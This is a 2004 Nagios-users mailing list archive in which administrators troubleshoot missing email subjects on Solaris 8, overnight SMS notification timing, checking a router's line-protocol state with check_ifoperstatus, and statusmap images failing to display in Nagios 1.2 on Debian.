Notify-by-email on Solaris 8 doesn't populate the subject In-Reply-To: <4E71CFD68DCB4E49B04AD93E84827EE9226681@netfinity-1.foundation-it.local> References: <4E71CFD68DCB4E49B04AD93E84827EE9226681@netfinity-1.foundation-it.local> Message-ID: <20040326171045.24470.qmail@minnow.softflare.net> Phil Costelloe writes: > There isn't a -s option to the standard mail program on Solaris 8, in > fact that command (generically - printf "body" | mail -s "subject" > someuser) errors rather than sending a mail when I try it One way around it is to use sendmail (which may not actually be sendmail underneath but a sendmail-alike wrapper around the real MTA). Use -oi if you want to specify a different sender than the process is running on (in which case you need to add sender and recipient headers to your printf; use -t so a stray dot doesn't cause trouble; add a subject header to your printf. That's assuming that Solaris 8 has sendmail or a sendmail-alike wrapper around the real MTA - most distros do because most CGIs that send mail are written to call sendmail. Then again, Sun are notorious for doing things differently from everyone else. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From peter.gutmann at db.com Fri Mar 26 18:13:30 2004 From: peter.gutmann at db.com (Peter Gutmann) Date: Fri, 26 Mar 2004 12:13:30 -0500 Subject: Special notifications handling in Nagios Message-ID: Perhaps you could use procmail to manage redirecting the notifications for you. In combination with cron, they should be able to redirect the e-mail flow where ever you want.... Peter ---- Peter Gutmann Peter.Gutmann at db.com Petr Simek Sent by: nagios-users-admin at lists.sourceforge.net 03/26/2004 06:34 AM To: nagios-users at lists.sourceforge.net cc: Subject: Re: [Nagios-users] Special notifications handling in Nagios On Thu, 25 Mar 2004, Joe Rhett wrote: > I really don't see any problem with most of this. All you need to do is > set up the proper intersection of notification times for the hosts and > the contacts. The only gotcha is ... > > > at 1:00, then 'up state' notification will be sent at 7:00 > > Uh.. nobody (no process) is going to hang around for 6 hours and wait to > send you a notification. Really. Notifications are either sent or not > at the time they are conceived :-( > > Now you can tune this using the notification options so that you don't > get the notifications at night, but you get them in e-mail so that you > can review them in the morning, but they didn't interrupt your sleep. > All sorts of flexibility here. Yes, I have email account where nagios notifications goes. But I am not always within reach of computer to read emails. Therefore I want a special contact to forward notifications as SMS to my mobile phone. And I would special behavior at this contact - one notification when service or host goes down a and one when goes up. This is no problem. But I want delay down and up notifications normally sended between 23:00-6:59 into 7:00 and only in case that state at 23:00 is different at 7:00. If there was a problem between 3:00 and 4:00 don't send notifications to this contact. This problem I will see when I will read emails, but at 7:00 is not actual. *------------------------------------------------------------------------* | Petr Simek APS JU | | psimek at jcu.cz | *------------------------------------------------------------------------* ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From blakes_email at yahoo.com Fri Mar 26 18:17:33 2004 From: blakes_email at yahoo.com (Blake) Date: Fri, 26 Mar 2004 09:17:33 -0800 (PST) Subject: problem with router monitor In-Reply-To: References: Message-ID: <20040326171733.46158.qmail@web10508.mail.yahoo.com> Hugo, The check_ifoperstatus script is only going to tell you whether the interface is up or down as shown in the syntax examples below. Im thinking you would have to create a script (or update the check_ifoperstatus script) which will execute check_ifoperstatus and if the interface status is down then telnet to the device, issue sh int command, and grep/awk the interface status to determine if the line and/or protocol is down. I do not think there is a snmp value that can tell you whether the line and/or protocol is down however you can do a snmp walk on a router which has a interface which has protocol down to see if there is a specific value somewhere for this. Make sense? check_ifoperstatus syntax examples; ./check_ifoperstatus -H 10.1.1.1 -C private -d Serial0/0 OK: Interface Serial0/0 (index 1) is up. or ./check_ifoperstatus -H 10.1.1.1 -C private -k 1 OK: Interface Serial0/0 (index 1) is up. --Blake --- Hugo Rebello wrote: > Look the information below. > > ************************************ > Serial0 is up, line protocol is up > Hardware is PowerQUICC Serial > Description: Connection > Internet address is 10.10.10.6/30 > MTU 1500 bytes, BW 2024 Kbit, DLY 20000 usec, > reliability 255/255, txload 4/255, rxload 3/255 > Encapsulation PPP, LCP Open > Open: CDPCP, IPCP, loopback not set > Last input 00:00:04, output 00:00:00, output hang > never > Last clearing of "show interface" counters 2w0d > Input queue: 0/75/0/0 (size/max/drops/flushes); > Total output drops: 30 > Queueing strategy: weighted fair > Output queue: 0/1000/64/5 (size/max > total/threshold/drops) > Conversations 0/26/256 (active/max active/max > total) > Reserved Conversations 0/0 (allocated/max > allocated) > Available Bandwidth 1518 kilobits/sec > 5 minute input rate 28000 bits/sec, 6 packets/sec > 5 minute output rate 37000 bits/sec, 16 > packets/sec > 17370323 packets input, 4218756223 bytes, 0 no > buffer > Received 0 broadcasts, 0 runts, 3 giants, 0 > throttles > 437467 input errors, 27755 CRC, 210030 frame, 0 > overrun, 0 ignored, > 199648 abort > 14743915 packets output, 3464182642 bytes, 0 > underruns > 0 output errors, 0 collisions, 888 interface resets > 0 output buffer failures, 0 output buffers > swapped out > 474 carrier transitions > DCD=up DSR=up DTR=up RTS=up CTS=up > ****************************************************** > I have the serial up and protocol up (It?s the > protocol between the links) > When the protocol down, I don?t receive this > information. > Do you understand ? > > Thank you. > Hugo > > -----Original Message----- > From: nagios-users-admin at lists.sourceforge.net > [mailto:nagios-users-admin at lists.sourceforge.net]On > Behalf Of Subhendu > Ghosh > Sent: quinta-feira, 25 de mar?o de 2004 21:01 > To: Hugo Rebello > Cc: Nagios Users (E-mail) > Subject: RE: [Nagios-users] problem with router > monitor > > > On Thu, 25 Mar 2004, Hugo Rebello wrote: > > > I don?t known, How this check can I monitor if the > protocol is up or not ? > > About this check_ifoperstatus, could you tell me > what sintaxe should I use > ? > > I don?t known what I put in --key and --descr > option. > > > > When you say "protocol" what exactly do you mean? > > Routers have: > physical interfaces > logical links > routing process > CPU utilization > Memory usage > > -- > -sg > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux > Tutorials > Free Linux tutorial presented by Daniel Robbins, > President and CEO of > GenToo technologies. Learn everything from > fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=ick > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version > (-v) and OS when reporting > any issue. > ::: Messages without supporting info will risk being > sent to /dev/null > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux > Tutorials > Free Linux tutorial presented by Daniel Robbins, > President and CEO of > GenToo technologies. Learn everything from > fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version > (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being > sent to /dev/null __________________________________ Do you Yahoo!? Yahoo! Finance Tax Center - File online. File on time. http://taxes.yahoo.com/filing.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From peter.gutmann at db.com Fri Mar 26 18:26:56 2004 From: peter.gutmann at db.com (Peter Gutmann) Date: Fri, 26 Mar 2004 12:26:56 -0500 Subject: Notify-by-email on Solaris 8 doesn't populate the subject Message-ID: As part of the continuing BSD / Systems V split that is ongoing in Solaris. There is an alternate BSD centric version of the mail called mailx that supports the missing -s flag ---- Peter Gutmann Peter.Gutmann at db.com "Narayanasamy, Sundar" Sent by: nagios-users-admin at lists.sourceforge.net 03/26/2004 12:03 PM To: "Phil Costelloe" , cc: Subject: RE: [Nagios-users] Notify-by-email on Solaris 8 doesn't populate the subject I am using the standard mail that comes with Solaris 8. On my box, it still sends the mail but with no subject. When I did 'man mail', I couldn't figure it out. Do I have any other option? Sundar -----Original Message----- From: Phil Costelloe [mailto:philc at foundation-it.com] Sent: Friday, March 26, 2004 9:14 AM To: nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Notify-by-email on Solaris 8 doesn't populate the subject Narayanasamy, Sundar wrote: > Hello, > > Whenever I get a warning or error notification from my Nagios > installation on my Solaris box, it comes with empty subject > line. How do I fix it? > > This is what I have > > # 'notify-by-email' command definition > define command{ > command_name notify-by-email > command_line /usr/bin/printf "%b" "***** Nagios > *****\n\nNotification Type: $NOTIFICATIONTYPE$\n\nService: $SERVIC > EDESC$\nHost: $HOSTALIAS$\nAddress: $HOSTADDRESS$\nState: > $SERVICESTATE$\n\nDate/Time: $DATETIME$\n\nAdditional > Info:\n\n$OUTP UT$" | /usr/bin/mail -s "** $NOTIFICATIONTYPE$ > alert - $HOSTALIAS$/$SERVICEDESC$ is $SERVICESTATE$ **" > $CONTACTEMAIL$ } There isn't a -s option to the standard mail program on Solaris 8, in fact that command (generically - printf "body" | mail -s "subject" someuser) errors rather than sending a mail when I try it. Is mail the standard Sun version? Phil ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From info at OliverBaltz.de Fri Mar 26 18:32:51 2004 From: info at OliverBaltz.de (Oliver Baltz) Date: Fri, 26 Mar 2004 18:32:51 +0100 Subject: No Statusmap-Images in Nagios 1.2 Message-ID: <40646943.30507@OliverBaltz.de> Hi at all, since I migrated to Nagios 1.2 my statusmap shows just questionmarks!? The configs and pathes are correct. What is wrong?! Thanks, Olli ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From blakes_email at yahoo.com Fri Mar 26 18:56:42 2004 From: blakes_email at yahoo.com (Blake) Date: Fri, 26 Mar 2004 09:56:42 -0800 (PST) Subject: No Statusmap-Images in Nagios 1.2 In-Reply-To: <40646943.30507@OliverBaltz.de> References: <40646943.30507@OliverBaltz.de> Message-ID: <20040326175642.27904.qmail@web10503.mail.yahoo.com> if the configs and paths are correct then it must be that the images do not exist? how about showing us an example of your hostextinfo.cfg? --- Oliver Baltz wrote: > Hi at all, > > since I migrated to Nagios 1.2 my statusmap shows > just questionmarks!? > The configs and pathes are correct. What is wrong?! > > Thanks, > Olli > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux > Tutorials > Free Linux tutorial presented by Daniel Robbins, > President and CEO of > GenToo technologies. Learn everything from > fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version > (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being > sent to /dev/null __________________________________ Do you Yahoo!? Yahoo! Finance Tax Center - File online. File on time. http://taxes.yahoo.com/filing.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From info at OliverBaltz.de Fri Mar 26 19:09:38 2004 From: info at OliverBaltz.de (Oliver Baltz) Date: Fri, 26 Mar 2004 19:09:38 +0100 Subject: No Statusmap-Images in Nagios 1.2 In-Reply-To: <20040326175642.27904.qmail@web10503.mail.yahoo.com> References: <20040326175642.27904.qmail@web10503.mail.yahoo.com> Message-ID: <406471E2.1070103@OliverBaltz.de> The images do exist. Here my configs: ############################################# hosttextinfo.cfg: define hostextinfo{ host_name gw89,gw92,gw185,gw188 icon_image router40.png statusmap_image router40.png vrml_image router40.png ############################################# cgi.cfg: ... physical_html_path=/usr/share/nagios/htdocs ... ############################################# my path to the images: ls -als /usr/share/nagios/htdocs/images/logos/router40.png 4 -rw-r--r-- 1 nagios www-data 1816 2001-09-23 20:36 ############################################# Blake wrote: > if the configs and paths are correct then it must be > that the images do not exist? how about showing us an > example of your hostextinfo.cfg? > > --- Oliver Baltz wrote: > >>Hi at all, >> >>since I migrated to Nagios 1.2 my statusmap shows >>just questionmarks!? >>The configs and pathes are correct. What is wrong?! >> >>Thanks, >>Olli >> >> >> > > ------------------------------------------------------- > >>This SF.Net email is sponsored by: IBM Linux >>Tutorials >>Free Linux tutorial presented by Daniel Robbins, >>President and CEO of >>GenToo technologies. Learn everything from >>fundamentals to system >> > > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > >>_______________________________________________ >>Nagios-users mailing list >>Nagios-users at lists.sourceforge.net >> > > https://lists.sourceforge.net/lists/listinfo/nagios-users > >>::: Please include Nagios version, plugin version >>(-v) and OS when reporting any issue. >>::: Messages without supporting info will risk being >>sent to /dev/null > > > > __________________________________ > Do you Yahoo!? > Yahoo! Finance Tax Center - File online. File on time. > http://taxes.yahoo.com/filing.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mikko.kaipila at nic.fi Fri Mar 26 19:49:57 2004 From: mikko.kaipila at nic.fi (Mikko Kaipila) Date: 26 Mar 2004 20:49:57 +0200 Subject: statusmap, weird problem In-Reply-To: <4063EEA8.7010307@essentkabel.com> References: <4063EEA8.7010307@essentkabel.com> Message-ID: <1080326996.3347.28.camel@rento.seclan.com> On Fri, 2004-03-26 at 10:49, Frans Hetterscheid wrote: > I'm having the same problem. > > Tride everything but nothing works so far, these are my settings: > > Debian stable (woody) > Nagios-1.2-3 backported from unstable. > > ii libgd1 1.8.4-17.woody GD Graphics Library > ii libgd2 2.0.1-10 GD Graphics Library version 2 > ii libgdbmg1 1.7.3-27 GNU dbm database routines (runtime > version). > ii libgd-gif1 1.3-2 GD Graphics Library with gif support > ii libpng2 1.0.12-3.woody PNG library - runtime > ii libjpeg62 6b-6 The Independent JPEG Group's JPEG > ii nagios-plugins 1.3.1-1 Plugin package nagios. > ii nagios-text 1.2-3 A host/service/network monitoring and > manage > > Like to compare details as Paul suggested. If it is the same I can > report a bug to Debian/Nagios. Yes, I had that problem also with nagios-text (v.1.2) fetched from unstable apt-mirror. Distro is testing/unstable. Now I have v.1.1 from testing, which worked as soon as I installed that, and I hadnt changed anything. I am not so expert to think, which deb packages would be good to show to developers. But of course when we are talking about unstable version (Unstable in debian repository), I think that is quite normal find bugs :) > > Robert Nelson wrote: > > >BTW I should also mention that while these libraries (libjpeg and libpng) were required for GD to work, the configure script said that GD support was complete without them... > > Yes, I noticed same thing too! ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mikko.kaipila at nic.fi Fri Mar 26 20:01:21 2004 From: mikko.kaipila at nic.fi (Mikko Kaipila) Date: 26 Mar 2004 21:01:21 +0200 Subject: No Statusmap-Images in Nagios 1.2 In-Reply-To: <406471E2.1070103@OliverBaltz.de> References: <20040326175642.27904.qmail@web10503.mail.yahoo.com> <406471E2.1070103@OliverBaltz.de> Message-ID: <1080327680.3347.35.camel@rento.seclan.com> hi! If you are using Debian distro, there is probably some bug found! no matter if that is migrated from source package or from debian/unstable mirror package... On Fri, 2004-03-26 at 20:09, Oliver Baltz wrote: > The images do exist. Here my configs: > > ############################################# > hosttextinfo.cfg: > > define hostextinfo{ > host_name gw89,gw92,gw185,gw188 > icon_image router40.png > statusmap_image router40.png > vrml_image router40.png > > ############################################# > cgi.cfg: > ... > physical_html_path=/usr/share/nagios/htdocs > ... > > ############################################# > my path to the images: > > ls -als /usr/share/nagios/htdocs/images/logos/router40.png > 4 -rw-r--r-- 1 nagios www-data 1816 2001-09-23 20:36 > > ############################################# > > Blake wrote: > > if the configs and paths are correct then it must be > > that the images do not exist? how about showing us an > > example of your hostextinfo.cfg? > > > > --- Oliver Baltz wrote: > > > >>Hi at all, > >> > >>since I migrated to Nagios 1.2 my statusmap shows > >>just questionmarks!? > >>The configs and pathes are correct. What is wrong?! > >> > >>Thanks, > >>Olli > >> > >> > >> > > > > ------------------------------------------------------- > > > >>This SF.Net email is sponsored by: IBM Linux > >>Tutorials > >>Free Linux tutorial presented by Daniel Robbins, > >>President and CEO of > >>GenToo technologies. Learn everything from > >>fundamentals to system > >> > > > > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > > > >>_______________________________________________ > >>Nagios-users mailing list > >>Nagios-users at lists.sourceforge.net > >> > > > > https://lists.sourceforge.net/lists/listinfo/nagios-users > > > >>::: Please include Nagios version, plugin version > >>(-v) and OS when reporting any issue. > >>::: Messages without supporting info will risk being > >>sent to /dev/null > > > > > > > > __________________________________ > > Do you Yahoo!? > > Yahoo! Finance Tax Center - File online. File on time. > > http://taxes.yahoo.com/filing.html > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From blakes_email at yahoo.com Fri Mar 26 20:02:53 2004 From: blakes_email at yahoo.com (Blake) Date: Fri, 26 Mar 2004 11:02:53 -0800 (PST) Subject: No Statusmap-Images in Nagios 1.2 In-Reply-To: <406471E2.1070103@OliverBaltz.de> References: <406471E2.1070103@OliverBaltz.de> Message-ID: <20040326190253.8972.qmail@web10502.mail.yahoo.com> here is an example from my cfg file ... the only difference I see is that I am using .gif image files. define hostextinfo { host_name ARC-ROUTER-110 icon_image my_router.gif gd2_image my_router.gd2 2d_coords 1110,425 } --- Oliver Baltz wrote: > The images do exist. Here my configs: > > ############################################# > hosttextinfo.cfg: > > define hostextinfo{ > host_name gw89,gw92,gw185,gw188 > icon_image router40.png > statusmap_image router40.png > vrml_image router40.png > > ############################################# > cgi.cfg: > ... > physical_html_path=/usr/share/nagios/htdocs > ... > > ############################################# > my path to the images: > > ls -als > /usr/share/nagios/htdocs/images/logos/router40.png > 4 -rw-r--r-- 1 nagios www-data 1816 > 2001-09-23 20:36 > > ############################################# > > Blake wrote: > > if the configs and paths are correct then it must > be > > that the images do not exist? how about showing > us an > > example of your hostextinfo.cfg? > > > > --- Oliver Baltz wrote: > > > >>Hi at all, > >> > >>since I migrated to Nagios 1.2 my statusmap shows > >>just questionmarks!? > >>The configs and pathes are correct. What is > wrong?! > >> > >>Thanks, > >>Olli > >> > >> > >> > > > > > ------------------------------------------------------- > > > >>This SF.Net email is sponsored by: IBM Linux > >>Tutorials > >>Free Linux tutorial presented by Daniel Robbins, > >>President and CEO of > >>GenToo technologies. Learn everything from > >>fundamentals to system > >> > > > > > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > > > >>_______________________________________________ > >>Nagios-users mailing list > >>Nagios-users at lists.sourceforge.net > >> > > > > > https://lists.sourceforge.net/lists/listinfo/nagios-users > > > >>::: Please include Nagios version, plugin version > >>(-v) and OS when reporting any issue. > >>::: Messages without supporting info will risk > being > >>sent to /dev/null > > > > > > > > __________________________________ > > Do you Yahoo!? > > Yahoo! Finance Tax Center - File online. File on > time. > > http://taxes.yahoo.com/filing.html > __________________________________ Do you Yahoo!? Yahoo! Finance Tax Center - File online. File on time. http://taxes.yahoo.com/filing.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rnelson at windchannel.com Fri Mar 26 20:56:00 2004 From: rnelson at windchannel.com (Robert Nelson) Date: Fri, 26 Mar 2004 14:56:00 -0500 Subject: No Statusmap-Images in Nagios 1.2 Message-ID: > ############################################# > hosttextinfo.cfg: > > define hostextinfo{ > host_name gw89,gw92,gw185,gw188 > icon_image router40.png > statusmap_image router40.png > vrml_image router40.png > > ############################################# > cgi.cfg: > ... > physical_html_path=/usr/share/nagios/htdocs > ... > > ############################################# > my path to the images: > > ls -als /usr/share/nagios/htdocs/images/logos/router40.png > 4 -rw-r--r-- 1 nagios www-data 1816 2001-09-23 20:36 > > ############################################# I don't use hosttextinfo.cfg, but it seems to me the icon_image and such should be "logos/router40.png", as /images/ is the virtual directory, not /images/logos/ Rob Nelson Network Engineer Windchannel Communications M: 919-538-6326 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From fede at inalambrica.net Fri Mar 26 21:13:21 2004 From: fede at inalambrica.net (Federico Figueroa C.) Date: Fri, 26 Mar 2004 14:13:21 -0600 Subject: No Statusmap-Images in Nagios 1.2 In-Reply-To: <1080327680.3347.35.camel@rento.seclan.com> References: <20040326175642.27904.qmail@web10503.mail.yahoo.com> <406471E2.1070103@OliverBaltz.de> <1080327680.3347.35.camel@rento.seclan.com> Message-ID: <20040326141321.413b14c9.fede@inalambrica.net> On 26 Mar 2004 21:01:21 +0200 Mikko Kaipila wrote: > hi! > > > If you are using Debian distro, there is probably some bug found! > > no matter if that is migrated from source package or from > debian/unstable mirror package... I did tryied 1.2 in debian sid (unstable) with the same problem, even recompiled the source deb to make sure it had the correct configure options, but with no luck, using nagios-text 1.2-3, I would like to submit a report to the manteiner but don't know what info to include. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From blakes_email at yahoo.com Fri Mar 26 21:12:35 2004 From: blakes_email at yahoo.com (Blake) Date: Fri, 26 Mar 2004 12:12:35 -0800 (PST) Subject: problem with router monitor Message-ID: <20040326201235.52285.qmail@web10503.mail.yahoo.com> hmm .. I guess I was wrong ... status 7 should be what you are looking for. the following was taken from the check_ifoperstatus script; my %ifOperStatus = ('1','up', '2','down', '3','testing', '4','unknown', '5','dormant', '6','notPresent', '7','lowerLayerDown'); # down due to the state of lower layer interface(s) my $snmpIfOperStatus = '1.3.6.1.2.1.2.2.1.8'; --Blake --- Blake wrote: > > Hugo, > > The check_ifoperstatus script is only going to tell > you whether the interface is up or down as shown in > the syntax examples below. Im thinking you would > have > to create a script (or update the check_ifoperstatus > script) which will execute check_ifoperstatus and if > the interface status is down then telnet to the > device, issue sh int command, and grep/awk the > interface status to determine if the line and/or > protocol is down. I do not think there is a snmp > value that can tell you whether the line and/or > protocol is down however you can do a snmp walk on a > router which has a interface which has protocol down > to see if there is a specific value somewhere for > this. Make sense? > > check_ifoperstatus syntax examples; > > ./check_ifoperstatus -H 10.1.1.1 -C private -d > Serial0/0 > > OK: Interface Serial0/0 (index 1) is up. > > or > > ./check_ifoperstatus -H 10.1.1.1 -C private -k 1 > > OK: Interface Serial0/0 (index 1) is up. > > > --Blake > > > > > --- Hugo Rebello wrote: > > Look the information below. > > > > ************************************ > > Serial0 is up, line protocol is up > > Hardware is PowerQUICC Serial > > Description: Connection > > Internet address is 10.10.10.6/30 > > MTU 1500 bytes, BW 2024 Kbit, DLY 20000 usec, > > reliability 255/255, txload 4/255, rxload > 3/255 > > Encapsulation PPP, LCP Open > > Open: CDPCP, IPCP, loopback not set > > Last input 00:00:04, output 00:00:00, output > hang > > never > > Last clearing of "show interface" counters 2w0d > > Input queue: 0/75/0/0 (size/max/drops/flushes); > > Total output drops: 30 > > Queueing strategy: weighted fair > > Output queue: 0/1000/64/5 (size/max > > total/threshold/drops) > > Conversations 0/26/256 (active/max > active/max > > total) > > Reserved Conversations 0/0 (allocated/max > > allocated) > > Available Bandwidth 1518 kilobits/sec > > 5 minute input rate 28000 bits/sec, 6 > packets/sec > > 5 minute output rate 37000 bits/sec, 16 > > packets/sec > > 17370323 packets input, 4218756223 bytes, 0 > no > > buffer > > Received 0 broadcasts, 0 runts, 3 giants, 0 > > throttles > > 437467 input errors, 27755 CRC, 210030 frame, > 0 > > overrun, 0 ignored, > > 199648 abort > > 14743915 packets output, 3464182642 bytes, 0 > > underruns > > 0 output errors, 0 collisions, 888 interface > resets > > 0 output buffer failures, 0 output buffers > > swapped out > > 474 carrier transitions > > DCD=up DSR=up DTR=up RTS=up CTS=up > > > ****************************************************** > > I have the serial up and protocol up (It?s the > > protocol between the links) > > When the protocol down, I don?t receive this > > information. > > Do you understand ? > > > > Thank you. > > Hugo > > > > -----Original Message----- > > From: nagios-users-admin at lists.sourceforge.net > > > [mailto:nagios-users-admin at lists.sourceforge.net]On > > Behalf Of Subhendu > > Ghosh > > Sent: quinta-feira, 25 de mar?o de 2004 21:01 > > To: Hugo Rebello > > Cc: Nagios Users (E-mail) > > Subject: RE: [Nagios-users] problem with router > > monitor > > > > > > On Thu, 